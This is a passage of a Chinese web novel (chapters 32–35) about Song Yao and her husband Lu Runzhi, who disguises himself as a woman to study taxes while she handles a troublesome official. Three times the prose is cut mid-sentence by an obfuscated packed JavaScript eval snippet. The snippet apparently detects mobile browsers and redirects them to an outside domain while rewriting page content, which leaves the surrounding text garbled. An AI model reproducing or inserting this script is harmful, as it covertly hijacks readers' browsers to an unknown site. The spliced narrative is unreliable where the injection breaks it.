吃完饭后,宋瑶懒懒散散地歪在榻上,哼着不知名的小曲儿,盘算着宋琼交予她的铺子。 屋内炭火旺盛,暖洋洋的。 陆润之端了茶过来,给了宋瑶一杯。 宋瑶随口道:“谢谢。” 陆润之在她对面坐下,与她商量,“我方才想了一下你说的话,确实是我不知民情,可若是我去考察民情,势必要男扮女装,多有不便之处,一是担心母亲与父亲那边有意见,二是就算我亲自外出,也恐怕难以探测到实情。” 不知不觉,他已经将宋瑶当做可以倾诉的对象。 宋瑶的视线落在他身上,此时他还是闺中的小公子,信任你时,在你面前心思就会写在脸上,很轻易地就相信了她。 此时的他,处于迫切成长的阶段,需要人支持和鼓励,她可以充当那个助他高飞的角色,也可以哄骗他一直待在后院,折断他还未丰满的翅膀,牢牢将他绑在身边,一直做她的漂亮的夫郎。 宋瑶眸中的神色深了深,久久未曾言语。 陆润之眼中露出疑惑的神色,“宋瑶?” 宋瑶忽然勾起嘴角,视线落在他脸上,拍了拍身侧的位置,盯着陆润之,“过来。” 她的眼神不似以往温和,像是盯着猎物一般,透着不知名的情绪,叫陆润之看不懂,却觉得很危险,他藏在袖中的手握了握。 宋瑶就这么盯着他,也不催促,像是拿着枪的猎人,耐心地等待着猎物自己走过来。 最终,陆润之还是走了过去,在她拍的位置坐下,身体紧绷。 宋瑶笑了,却没做任何事,只拉了他的手,察觉到他手心微微濡湿,只当做不知。 她只是握住他的手,便没有任何动作。 猎物以为猎人拿着枪准备伤害他,却得到了一个轻轻的安抚。 宋瑶徐徐道来,“我早就与你说过,母亲父亲那边不用担心,你知道我一向不骗人,如果你出去的话,最开始可以多倾听周围人怎么说的,习惯了以后,可与人闲聊交谈,走的地方多了,总有所获。” “你的书已经读的够多了,有句话怎么说,读万卷书,不如行万里路,我觉得你一定可以的。” 宋瑶不伦不类地说了一句,比起日后他跌跌撞撞的自己摸索,她愿意让他的路顺一点。 她喜欢的,希望一直好好的,闪闪发光。 说完,宋瑶看向他,问道:“你觉得呢?” 陆润之反握住了她的手,他觉得她真的很不一样。 32. 第三十二章 第三十二章 晚上睡觉的时候,宋瑶累了一天,早早地入睡了。 陆润之躺在里侧,脑海里不停地思索宋瑶说的话,不由自主地重新构思文章的内容,他看向身侧的人,双眼紧闭,浅浅的呼吸声传来,让人觉得分外安心。 如今这局面可比他想象的要好很多了。 陆润之盯着宋瑶的侧颜看了一会儿,抬手给她掖了掖被子。 第二天一早,天还黑着,宋瑶就已经醒了,她向往常一样,轻手轻脚地起身,刚下床,陆润之也坐起来了。 宋瑶一回头,就见他长发散落,着白色寝衣,睡眼惺忪,“吵到你了?” 陆润之的眼神不似以往清明,听到她的话,顿了一下,才摇摇头。 见他要下床,宋瑶奇道:“怎么不继续睡会儿?” 按照往常,她起来后,他都会继续睡着,李容那边早已免了请安礼。 陆润之抱着被子,“昨晚没陪母亲她们用膳,今早去吧。” 宋瑶从衣柜里取出自己的衣服,“母亲父亲不会在乎这些。” 他这次却格外固执,“在不在乎是一回事,我们身为晚辈,礼数不可废。” 礼数虽不可废,但母亲父亲可能会吓一跳。 见拗不过他,宋瑶穿好自己衣服后,走到衣柜前,自然地问他:“今日要穿哪件?” 陆润之瞥了一眼她身上穿的,才道:“淡紫色那件。” 宋瑶也没在意,拿了衣服过去给他。 陆润之站在她面前,半阖着眼,抬起胳膊。 宋瑶一挑眉。 陆润之顿了一下,似乎这才清醒过来,是下意识地动作,他放下胳膊,低声说了句,“抱歉,我去叫青连。” 宋瑶拿起里袍,眼神示意。 陆润之却后退一步拒绝,方才是他下意识的动作,已经十分越矩。 “抬起胳膊。”宋瑶展开衣服,很自然地说道,眼神带着一丝笑意,“怎么,要我帮你吗?” 她这么说,定是会这么做。 陆润之不敢看她的眼睛,抬起胳膊,任由她为自己穿上里袍,清冽的梅香随着动作传来,女子灵巧地手指穿梭在衣襟间,陆润之偷偷瞥了一眼她的神色,专注而认真,没有一丝异样,像是真的认真为他穿衣,隔着衣襟,能偶尔感受她的手指擦过他的肌肤。 察觉到他的视线,宋瑶抬眼,朝他勾起嘴角,笑了笑,拿起一旁的束腰,朝他的腰间摸去,刚碰到他的腰,却被他抓住手腕。 陆润之耳尖通红,不敢看她的眼睛,紧紧抓着他的手腕,声线微微颤抖,却强自镇定,“我自己来。” 宋瑶瞥了一眼他纤细的腰肢,隐约记得很软,笑着故意问道:“怎么了?” 陆润之避开她的视线,心跳地有些快,这种感觉很陌生,隐隐期待又害怕,他接过宋瑶手里的腰封,退开一步,与宋瑶拉开距离,迅速系上,“没事,我自己来就行。” 他动作有些无措,腰封都系歪了。 宋瑶扬起嘴角,上前一步,勾着他的腰封,将人带了过来。 陆润之呼吸一窒。 宋瑶的表情很正经,帮他重新调整腰封,“好了。”接着退开。 陆润之轻轻吐出一口气,心跳如擂鼓,感觉从云端走了一遭。 青连带着小侍进来时,看到公子穿戴整齐,眼中闪过惊讶,公子从来不会自己穿衣,却见公子面色不自然,该不会是宋瑶帮公子穿的吧。 不不不,青连随即否定了这个想法,按照公子的性格,不太可能。 洗漱期间,两人都没说话,青连原本觉得奇怪,公子的视线一直躲着宋瑶,两人又不似闹脾气。 宋瑶等陆润之梳洗完毕,才与他一道前往主院。 青连觉得疑惑,一同侍候的小侍,年长一些,笑着道:“少主君这是在害羞呢。” 青连听到这话,才恍然大悟,羞红了脸。 陆润之今日特地早起,与宋瑶一道请安,吓了宋琼一跳,李容还没起呢,这可如何是好。 宋琼给宋瑶使了个眼神,责备她不提前告诉她们,这多不好,儿婿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432647|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都来了,公公还在睡觉,会不会让这位丞相家的公子觉得家风不严。 宋瑶只当没看到。 陆润之问道:“母亲,父亲呢?” 宋琼只得干笑,遮掩道:“他……他还在梳洗呢?” 宋瑶在一旁,毫不留情地戳穿她,“还没起呢吧。” “你瞎说什么呢!”宋琼尴尬地对陆润之笑道,“你父亲他稍后就来,昨日有些不舒服,才晚了点。” 这幅样子,倒不知是谁给谁请安了。 这习惯原来是一脉相承的。陆润之眼中闪过一抹笑意,“母亲,还是别打扰父亲了,让父亲好好休息,不用这么客气。” 一顿饭吃的,宋琼有些拘谨,虽然陆润之现在是她们家人了,但是她总觉得他身上的贵气跟她们格格不入,见到他,总让她想起那日,她冒死为不孝女提亲,见到丞相大人的场景,压迫感很强,哪怕眼前的少年已经很具有亲和力了。 本以为吃过饭就结束了,没想到陆润之还亲自送她跟宋瑶出门,宋琼真是一万个受宠若惊,诚惶诚恐。 宋瑶踩在木凳上,准备上马车,听到陆润之叫住了她,她一回头看到他从台阶上下来,眼神软了软,从凳子上下来,转身问道:“怎么了?” 陆润之低声道:“我今日想出去一趟。” 宋瑶:“你去就是。” 陆润之看着她,“我没有女装。” 宋瑶闻弦歌而知雅意,笑道:“若子澈不嫌弃的话,便从我衣柜里找一件未穿过的。” 陆润之:“谢谢。” 宋瑶抬手为他紧了紧披风,顺手摸了摸他的头发,“带着侍卫,注意安全,快回去吧。” 陆润之轻轻点头,目送她离开。 马车上。 宋琼的视线落在宋瑶身上,笑着打趣,“啧啧啧,说什么呢,这么久。” 宋瑶:“我夫郎出去一趟,借我衣服而已。” 宋琼笑得不怀好意,“哦哟,叫人去买不行哦。” 宋瑶懒得理她这个没正经样的娘亲。 33. 第三十三章 第三十三章 李容起床后,听到下人说早上自家那个儿婿前来请安,吓得帕子都没拿稳,忙问:“怎么回事,不叫醒我?” 下人把当时的情形描述了一遍。 李容气得大骂宋瑶不孝女,“她怎么能实话实说呢,我不要面子的吗?” 下人笑道:“主君无需在意,少主君是个善解人意的,他还对当家的说叫您好好休息呢,所以才没来叫您。” 李容惊讶道:“他当真这么说?” 下人:“当真,奴还能骗您不成。” 李容这下放下心来,虚虚松了一口气,“不知为何,我总觉得在这个儿婿面前低了一等,不知怎么与他相处。” 李容免了陆润之的请安礼,也有这个原因在里面,他总觉得陆润之一身气质,拒人于千里之外,他们在铜钱里摸爬滚打惯了,见到为官的,总会觉得低人一等,而陆润之出身高贵,气质与他那个丞相母亲如出一辙,李容觉得陆润之会看不起他们,如果不是宋瑶,他们这辈子可能都不会与这样的人有什么交集。 李容想象不出来,自家不成器的女儿与人家打情骂俏的场景,也不是说宋瑶不好,就是他俩在一起总有种不真实的感觉。 下人宽慰道:“主君多想了,奴瞧着少主君虽然表面冷淡,但是却是个好相与的,听下人说少主君虽待人冷淡,但还算温和,从不责骂下人,与少主相处的很好,今早少主君还送少主出门呢。”压低了声音,偷笑,“小侍们还看到少主摸少主君的头,两人恋恋不舍呢,真是新婚燕尔。” 听到下人描述的场景,李容一口水喷了出了,不可置信道:“你说什么?” 下人忙递上帕子,“主君别激动。” 李容一想到那副场景就觉得很不可思议,虽说成亲以后宋瑶的性子确实收了不少,上进许多,不再像以前那样混日子,但是自家女儿是怎么娶到陆润之的,李容是再清楚不过,本以为娶进门后,两人相敬如宾已经是最好的结局,没想到还能培养出感情。 李容内心无比感慨,同时又十分欣慰,或许冥冥之中自由安排,自家女儿能娶得这样的夫郎是她的福气。 毕竟是一家人了,以后还是要多相处。 - 送走了宋瑶之后,陆润之回到房间,休息片刻,打算下午再出门。 宋瑶知道他怕冷,特地吩咐一直烧着炭,他们二人的房间很大很宽敞,只有简单的装饰和家具,梳妆台上空空如也,显得有些空旷,倒像是临时居住的客房。 两人成婚已有月余,这是陆润之第一次打量他们的房间。 “青连,你去叫两个人来,把房间重新收拾一下。”陆润之吩咐道。 早上公子送宋瑶出门已经令青连惊掉了下巴,本以为公子是做做样子,但是他和宋瑶之间的氛围,青连再钝感,也察觉出来了,此时又叫他带人来收拾一下房间,这是真的把这里当成家了。 比起之前为公子觉得不甘,现在青连却为公子感到高兴,平心而论,宋瑶外貌出众,虽以前纨绔了些,自成亲以后态度端正许多,更重要的是,作为妻主,宋瑶知道公子冷热,尊重公子的想法,还给公子单独准备书房,也不拘着公子,天下没几个女人能做到这种地步。哪怕公子嫁给了皇太女,也不如如今自在。 更重要的是,现在公子比以前开心不少。 虽然没有荣华,但是日子总不会是十全十美的,总会有遗憾。 青连这样宽慰自己道,他以为日子会这么在宋府安稳地过下去。 陆润之指挥下人将房间的布局重新调整了一番,添了些古玩装饰,屏风换了个喜欢的样式,梳妆台上也添置了些饰品,他还令下人从梅园中折了些梅枝,寻了个白玉花瓶,放在窗台前,亲自拿了剪刀修剪,最后放在桌上。 红梅白玉瓶,相得益彰,顿时一屋子清幽冷香。 青连夸赞道:“公子这红梅修剪的真好。” 陆润之将剪刀收起,笑了笑,“日后莫唤我公子了,叫人听见恐又嚼舌根。” 府中哪有人敢嚼舌根。 青连一愣,随即道:“是,少主君。” “待会儿随我出去一趟。”陆润之说着,走到紫檀木衣柜前,打开柜子,他跟宋瑶的衣服放在一起,打开一看,里面几乎都是他的衣服,甚至还多了些冬装,而宋瑶的衣服几乎没有几件。 他一向不耻天下男子的做派,却在母亲的逼迫下,不得不将男戒中的内容熟记于心,也深知天下后院中的男子是如何做的,每日晨起请安,服侍妻主洗漱穿衣,将妻主的后院打理得井井有条,定是不会出现眼下的情况。 似乎从新婚第一天早上,宋瑶就对他没有任何要求。 陆润之觉得自己不是那种不懂得知恩图报的人,遂吩咐青连给宋瑶安排了几件冬装和春装,马上春天就要来了。 他从衣柜里挑了一件宋瑶曾穿过的衣裙,两人身量相仿,穿着倒也合适。 青连看到公子拿着宋瑶的衣服,不知做什么,连忙过去接着,询问:“公子,怎么了?” 陆润之淡淡地吩咐,“替我换上。” 青连眼中闪过一抹诧异,他从小跟着公子,是知道公子是有洁癖的,更别提穿别人穿过的衣服这件事,而且衣柜里不是还有宋瑶未穿过的衣服吗? 青连捧着衣服,内心觉得诧异,心道公子是真的接受了宋瑶,连她穿过的衣服都肯穿。 陆润之瞥了青连一眼。 青连立刻敛了所有情绪,为陆润之换上女装,又为他挽了个当下流行的女子的发式,细细地上了妆,眉眼间多了几分女子的英气,等一切装扮好,远远看着,就是一个风流俊俏的女郎。 陆润之长了一张雌雄莫辨的脸,如今上了妆,更是多了几分女儿家的英气,宋瑶的衣服在他身上刚刚好,颇有几分出尘的气质,眉目间的冷淡,像是九天之上下凡的神女。 青连都暗暗惊叹,公子的模样真是男女通吃。 等到中午时分,到了吃饭的时候,陆润之打算在家中用完午餐,再出门,一切都已经乔装打扮完毕,谁料中午的时候,院内来了一位不速之客,正是李容。 李容来时,未让下人通禀,自己带着一个小侍,悄无声息地来到了院中,走进房间,刚刚好看到陆润之一袭女装,穿的还是宋瑶的衣服,他顿时惊在原地。 早知道这个女婿风采卓越,男儿装都已经十分俊美,如今换上女装,乔装打扮一番,雌雄莫辨,倒不似凡人。 陆润之未曾料到李容会来找他,且正好被李容撞见自己这幅女装模样,心中顿时一紧,若是放在寻常百姓家,儿婿可是要在家相妇教女,恪守男德,他这幅样子,可是要被罚跪祠堂的。 陆润之顿时浑身紧绷,不知作何反应,甚至都忘记宋瑶告诉过他,李容也经常男扮女装,外出游玩。 青连虽然也害怕,但是还记得礼节,立刻朝李容行了个礼,“见过主君。” 李容看到陆润之面色紧绷,以为他对自己突然造访感到不满,心里也在打鼓,但是依旧端着主君的模样,对青连道:“起来吧,不必多礼。”接着又笑意盈盈地走到陆润之身边,绕着他看了一圈,夸赞道:“润之这幅装扮,真是吓我一跳,一点都不似凡人,倒像是九天玄女落入凡间,这衣服在宋瑶身上不显,被你这么一穿,连我这个男子看了都要心动了。” 李容脸上的笑容不似作假,眼底没有一丝不满,对陆润之这幅模样,有的只是夸赞,仿佛这是一件再寻常不过的事情。 一瞬间,陆润之忽然明白了,宋瑶为何养出了那样的性子,对一切都见怪不怪。 陆润之这才回过神来,作揖,“父亲。” 李容忙过去托起了他这一礼,握住他的手,“咱家可不兴这些繁琐礼节,润之不必如此。” 陆润之,“多谢父亲。” 李容拉着他的手,又将他细细地打量一番,真是越看越好看,眼中是满满地赞赏,见他没有挣脱自己的手,嘴角的笑容便扩大几分,“润之这幅模样,可是准备出去?” 在公公面前,陆润之还是有些犹豫,不知当讲不当讲。 李容也知道,他从小被丞相抚养长大,对那些教条肯定谨记于心,于是宽慰他道:“咱们家不似那些王权富贵之家,有那么多规矩,是怎么自在怎么来,想必宋瑶也与你说了。” 陆润之点点头。 李容的目光落在他微微凸起的喉结上,拉着他在梳妆镜前坐下,“说起男扮女装,我可是最有经验了,我帮你再微调一下,就更完美了。” 说着,他拿起了上妆的工具,硬是自来熟地将他按坐下凳子上。 青连也很懵,这宋家可真不是寻常人家,公公看到女婿男扮女装准备出去抛头露面,非但没有责备,反而高高兴兴地夸赞了一通,接着还兴致冲冲地给女婿遮掩了喉结,然后又赏赐了一堆女子佩戴的玉佩,又将人夸赞了一通,叮嘱外出的注意事项,似乎还鼓励女婿多多外出。 这与当今世道简直是背道而驰。 饶是波澜不惊的陆润之,这一切发生的太快又令人震惊,李容走后,陆润之也花费了一刻钟才将这个事实消化。 青连在一旁感慨,“主君也是一个很特别的人。” 陆润之看了一眼腰间的玉佩,方才李容拉着他,为他乔装时,让他第一次有了父亲这个概念,温暖干燥地双手,和蔼的笑容,无论你做什么,都会支持你的父亲。 宋瑶真是一个很幸福的人。 用完午餐,陆润之便带着青连出门,想起宋瑶的话,又带了两个侍卫,叫她们远远地跟着。 残雪在青石板上化开细碎金光,陆润之佩戴的羊脂玉随着脚步发出清越声响,倒真像个出游的世家小姐。 今日的京城,一如既往地热闹。 转过街角时,糖画焦香混着胡饼热气扑面而来。梳双髻的孩童举着布老虎从陆润之膝边跑过,红绳铃铛在冷风里叮铃作响。 陆润之一副女郎装扮,气质非凡,一看就是非富即贵的世家小姐,惹得偶有路过的男子暗中频频偷看。 青连低声笑着打趣,“公子,那边茶铺的小公子躲在门后,偷偷看你好一会儿了。” 陆润之顺着青连所示的方向看去,果然看到一个小公子躲在门口,察觉到他的视线,立刻又不见了。 陆润之眼中不自觉滑过一丝笑意。 春意料峭,街上的百姓一片安居乐业,治安良好,倒也看不出什么。 陆润之找了家茶楼,刚在二楼临窗位置坐下,跑堂的便拎着铜壶来斟茶。 青瓷碗里浮着绿色的茶叶,不是什么上好的茶叶,冲出来的茶水,入口微微苦涩,周遭人的谈论渐渐清晰起来。 后方应该是江湖人士,正谈论着某某门派失窃一案,凶手至今未找到,她们怀疑是盗门人所为,但是毫无证据。 隔壁桌几个布衣女子正磕着瓜子,吃着花生,正在闲聊。 “听说江南水患要加修水渠,官府里正挨家挨户收水利钱呢。” 陆润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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正巧,小二前来添茶。 陆润之问道:“小二,外面摆摊的都需要上交摊位费吗?” 小二笑得露出一口白牙,“那可不是,客官你有所不知,这摊位费还不低呢,许多人不愿意交,看到官差来了就跑,被抓住了还要交双倍。” 陆润之示意青连。 青连立刻掏出碎银塞给小二。 小二见状,立刻喜笑颜开,“这位客官,您还想了解什么,我一定知无不言言无不尽。” 陆润之继续问道:“你们开茶楼的,要上交几成的税?” 小二往陆润之旁边凑了凑,打算附耳告诉他。 陆润之皱眉,拉开了与她的距离。 小二讪讪,心道这女郎怎么跟男儿家一样扭扭捏捏,不过还是压低了声音道,”我只是一个做工的,哪里知道这个,不过我可以偷偷告诉您,我曾听掌柜的抱怨,如今这官税着实有些重。” 陆润之点点头。 小二道:“不知客官还有什么需要了解的。” 陆润之挥挥手,“没有,下去吧。” 小二:“得嘞,您慢用。” 茶水倒映出陆润之微蹙的眉,檐角铜铃被春风吹得忽急忽缓,他忽然想起,丞相府书房母亲批阅的赋税奏折。 当今圣上骁勇善战,战绩斐然,收服周边小国,战事多,必然耗费大量的人力财力,钱从哪里来,自然是税重。 想来如今国库亏空,才连治理江南水患的钱都拿不出来。 青连不懂他们在说什么,只觉得如今天下太平,百姓安居乐业,税高点就高点呗。 陆润之指尖摩挲着茶碗边沿,垂眸。 茶楼里,众生百态。 陆润之坐了一下午,将要日落时,才带着青连回府。 宋瑶今日依旧很晚才到家,傍晚时已经着人回家告知陆润之晚归。 人刚一踏入房间,正准备往塌上一歪,却被陆润之拉住,硬要她坐起来。 宋瑶瞥了一眼他拉着自己的手,这好像是第一次他主动拉着她,他好像还没有意识到。 见他神色严肃,宋瑶也不由得正色,以为他要通知她什么重要的事情。 宋瑶:“你说。” 陆润之问道:“你觉得如今官税重吗?” 宋瑶眨了眨眼。 陆润之晃了晃她的手,“说话。” 宋瑶噗嗤笑了,她还以为什么重要的事呢,捏了捏他的手,吊儿郎当道:“还好,不重,我赚的多。” 陆润之皱眉,“我认真的。” 宋瑶往塌上一歪,叹了口气,“为妻刚从外面马不停蹄地赶回来,连口水都没来得及喝,就被你抓着问这问题,你没听到我的喉咙都哑了吗?” 陆润之松开她,给她倒了杯水,看着她喝下。 宋瑶放下杯子,重新回答了他的问题,“如今商税要交五成。” 陆润之皱起眉头。 宋瑶弹了一下他的额头,笑道:“别皱着眉头了,与我说说,我忧国忧民的夫郎,今日去外面看到什么了?” 他不说,宋瑶也已经猜到七八分了,恐怕现实给这位小公子带来了一定冲击,并不是他想象的那么美好。 陆润之一时没注意她的称呼,只将白日所见所闻一一与宋瑶说起。 他听到的见到的是宋瑶每天都经历的,只是令她惊讶的是,他没有流露出任何愤懑,而是冷静地与她分析形势利弊。 34. 第三十四章 第三十四章 陆润之的神情波澜不惊,陈述官差收税时语气没有一丝起伏,就好像是一个看客,平静看着这世间百态,只有对错,不掺杂任何感情,这样的人仿佛天生的政客。 他心里已经有了明确的对策,针砭时弊,条理清晰,宋瑶觉得自己在听文言文,在脑子里翻译一遍后,大致明白他在说什么。3 “你觉得如何?” 话落,陆润之看着宋瑶的眼睛,认真地询问她的意见。 他的目光格外认真,宋瑶有一种不能随便敷衍答答的感觉,毕竟他是真的认真地在跟她讨论,同时她也在认真反思自己,到底什么给了他错觉,与她这个理科生谈论政事。 偏偏现在,他这么注视着她,让她有种必须得说出点什么有用的东西来。 可是她好像说不出来。 宋瑶:“……” 在陆润之逐渐疑惑的眼神中,宋瑶直起身子,清了清嗓子,将他的话总结了一下,“减免赋税,同时设立税牌,百姓持税牌缴纳,税吏需在铜牌烙印税额,铜牌送户部核对,防止层级剥削,同时设置监察使。” 陆润之点点头,“对。” 宋瑶想了一下,道:“自是良策,只是减免赋税需考虑到国库现状,若是断然改变赋税现状,恐怕会引起上层不满,还得徐徐图之,不可操之过急。” 宋瑶说得很委婉,尤其是当今天子好战,恐怕不会同意推及此政策。 这个问题陆润之也想到了,他也指望当今陛下同意此政策,陛下年事已高,几位皇女对皇位虎视眈眈,很可能瞬息万变,只是这件事他未对宋瑶说。 他不说,宋瑶就当不知情,他能接触到的人,左不过就是皇太女。 陆润之道:“言之有理。” 宋瑶又道:“减免赋税,导致国库亏空,也不是办法,不如实行多得多缴制,只是此举动了上层的利益,推行起来极其困难。” 陆润之:“多得多缴?” 宋瑶点头,“对,即是赚得多,纳税多。” 陆润之望进她的眼睛,如此政策,首先触及的便是商人的利益,她自己本身就是商人,能提出这样的主意,令他吃了一惊。 宋瑶只看一眼,就知道他是怎么想的,于是笑道:“此举最触及商人的利益,所以要予以一定的补偿,诸如提高商人的社会地位,允许参加科考之类的。” 陆润之几乎是下意识道:“你想参加科考?” 宋瑶看向他,又恢复了吊儿郎当的模样,挑起他一缕黑发,笑道:“夫郎希望还是不希望我参加科考呢?” 她这个样子,眼睛虽然笑着,但是眼底没有什么情绪,像是对外戴上了一层疏离的面具。 陆润之眸光闪了闪,掩盖了眸中的神色,“自是看你。” “想什么呢。”宋瑶点了一下他的额头,又恢复了亲昵的模样,“你也知道,我对读书没有兴趣,我这么说是为了后代考虑,若是我的孩子想入仕呢。”她说的是我的孩子,不是我们的孩子。 陆润之却没想到这一层,避开了她亲昵的目光。 宋瑶打了个哈欠,没骨头似的歪在了陆润之身上,眼睛半阖着。 陆润之垂眸,看到了她眼下的青黑,近些日子,她早出晚归,长睫掩映下的眼底一片倦色,他不由得放松了身体,让宋瑶靠得舒服些。 宋瑶察觉到他的小动作,勾起嘴角,得寸进尺地环住了他的腰肢,往他身上贴了贴,在他肩膀上蹭了蹭,猛吸了一口,在心里感慨了一番,夫郎的腰真细啊。 陆润之也只在她抱着他腰时,僵硬了一瞬,随后就适应了,任由她抱着,一动不动。 但是,她好像没跟他说过自己在外面的事情。 半响,陆润之开口问道:“你最近在忙什么?” 宋瑶懒懒地嗯了一声,“忙着赚钱养你。” 陆润之不满,“我不用你养。” 宋瑶轻笑,“母亲将一间铺子交予了我,有些棘手。” 陆润之:“怎么回事?” 宋瑶知道他对商业上的事情不感兴趣,也不打算与他细说,只道:“没事,已经解决了,只是需要点时间,安心吧。” 陆润之知道她不想让自己担心,但是心中忽然升起一丝不平衡感,就好似他需要她,而她不需要他一样。 见她眼底倦色,陆润之也不再追问。 青连来了后,对两人亲昵的场景已经见怪不怪,只是令他觉得奇怪的是,两人除了新婚当晚叫了水,此后再也没有,他曾听有经验的老侍说,年轻的女人食髓知味,如狼似虎,宋瑶夜夜与公子睡在一起,感情日渐升温,又是妻夫,怎么忍得住。 青连觉得奇怪,但是公子好似没有意识到这一点,公子满脑子都是书籍。 第二天,陆润之修书一封给皇太女,提醒她彻查江南水患重征赋税之事,又将剩下的文章写完。 陆润之已经习惯了独自出门,宋瑶却一日比一日归来的晚,许多时候,她回来时,陆润之已经睡下,未等他醒来,宋瑶已经早起出门。 陆润之有心想问,可是回来见到宋瑶脸上的倦色,又不忍心打扰她。皇太女答应他的事情,已经办妥,目前陆润之的另外一个身份是皇太女幕僚,可随意出入太女府。 两人忙各自的,一连几日,竟说不上几句话。 这日,陆润之洗漱完,着单衣,点了灯,靠在床边看书,等着她回来,不知不觉靠着床头睡了过去。 宋瑶回来的时候,就看到他靠在床边,闭着双眼,手里的书摇摇欲坠,身影有些单薄。 这些日子她确实忙了些,都不曾与他好好说话。 宋瑶的眼神软了软,走过去,拿过他手里的书,放到一边,再回头时,他已经睁开了眼。 宋瑶坐到他身边,握住了他的手,温声道:“怎么还不睡?” 她甫一坐下,一股酒味扑面而来,除此之外,还夹杂着劣质的脂粉气,是男儿身上的。 她去了那种地方。 陆润之的指尖颤了颤,随即敛了眸,没回答她的问题,轻声道:“你怎么这么晚才回?” 他的神色如常,宋瑶在外与人周旋一天,又喝了些酒,感知力比平日迟钝不少,并未发现他眼底的异样,又见他如此昏昏欲睡的模样,想着挑个闲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461742|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子再与他仔细说说,于是简短道:“有些事耽搁了。” 陆润之抽出手,看着她的眼睛,追问道:“什么事?” 宋瑶顿了一下,脑子虽有些迟钝,也察觉到他有些不愉,叹了一口气道:“生意上的应酬,对方有些难缠。” 陆润之:“你喝酒了。” 他虽没去过那种烟火之地,也曾听好友说起过,那种场所,载歌载舞,是女子寻欢作乐之地,许多官员经常去,更别说她经常与人打交道。 此前他没有意识到这个问题,她回来时说身上清清爽爽,与今日不同。 前些日子,她是不是也都是如此。 陆润之没有遇到这种情况,只是觉得心里微微发堵。 他在说她喝酒,也暗指其它。 眼下这种情形,宋瑶可太熟悉了,几乎形成了条件反射,哪怕迷迷糊糊,也察觉到潜在的隐患,这事儿可拖不得,必须解释清楚,态度必须端正。 宋瑶笑,“喝了一些,熏到你了,我先去洗洗,换身衣服。” 若是一身酒气,还有脂粉气,不好哄人。 陆润之看着她的背影,抿了抿唇。 等宋瑶收拾好,换了一身衣服,陆润之已经睡在里侧,背对着她,闭上眼睛,看似睡着了。 宋瑶知道他装睡,笑了笑,轻声问道:“睡了吗?” 陆润之的眼睫动了动,睁开了眼睛,翻了个身,看到宋瑶坐着,于是坐了起来,一双漂亮的眼睛一片清明,显然就是装睡,他满脸写着“你解释吧”几个字。 宋瑶觉得他怪可爱的,脾气很好,没有闹脾气。 宋瑶尽量说的委婉,“这些日子生意遇到了点麻烦事,底下的人得罪了官府,有些棘手,管事的官员喜爱美色,我与娘亲费了些功夫,才将事情解决,今日那官员又将我叫了去,所以晚了些。” 陆润之缓缓道:“所以这些日子你都在陪那个官员。” 宋瑶点点头,“做我们的这行的,应酬难免,我没有碰他们,只是在那种地方,身上难免会沾染些脂粉气。” 陆润之接受了她的解释,只是心里难免发堵,他相信宋瑶没有骗她。 宋瑶将他揽入怀中,拍了拍他单薄的背,“好啦,在你之前,我可从没有过其他男子,你这么好看,我是多瞎眼,才会看别的男子。” 她说的是实话,只要在家里,她的视线就跟黏在了他身上一样。 陆润之抓住她胸口的衣服,没说话,一颗心安定了下来,听着她温和的声音,心跳不自觉加快,像是踩在棉花一样。 宋瑶知道将人哄好了,摸了摸他的头发。 半响,陆润之问道:“要忙到什么时候?” 宋瑶手一顿,随即笑道:“已经快结束了,过两日休假。” 当你的情人这么问的时候多半是最近有什么重要的日子,宋瑶决定明日寻个时间问问青连。 将人哄好以后,两人又说了会儿话,宋瑶便睡去了。 陆润之睁开眼睛,看着她沉睡的侧颜,抿了抿唇。 虽然两人越来越亲昵,但他有一种莫名错觉,宋瑶在将他推开。 35. 第三十五章 第三十五章 几日后,宋瑶的正事终于告一段落,生意步入正轨,碰巧下午又纷纷扬扬下起了大雪,街上寥寥几人,没什么生意,她便早早地下班,回家一看,陆润之泡在书房,于是便未打扰,唤来了青连,询问近来可有什么重要的日子。 青连被问的莫名其妙,不知所以。 宋瑶给了点提示,“你家公子的生辰是什么时候?” 青连:“公子的生在夏日,这还早着呢。” 宋瑶又问了具体什么时候,默默记下。 既不是他生日,古代也不讲究什么情人节,宋瑶又问,“陆丞相她老人家的生辰是何时?” 青连如实答道:“丞相大人生辰七月二日。” 既不是他生日,又不是他母亲生日,这倒是把宋瑶难住了。 青连瞧着她为公子上心的模样,不由得笑了笑,这段时间,他逐渐对宋瑶改观,虽然宋瑶肚子里没有什么墨水,但是真的把公子放在心尖尖上,什么都想着公子,模样又长得与公子很般配,成亲以后再没出去花天酒地,倒也是个不可多得的良配。 她这般问,恐怕是公子与她说什么了。 这些日子,宋瑶忙得脚不沾地,两人都没说上几句话,公子虽面上不说,心里总是惦记着,到了晚上,总是频频望向窗外。 哪里有什么重要的日子,分明是公子想要人多陪陪他。 青连提示道:“您不在的这些天,少主君可能有些无聊。” 他的称呼令宋瑶忍不住侧目,以前张口闭口就是粗妇,一口一个公子,眼下倒是叫起少主君了。 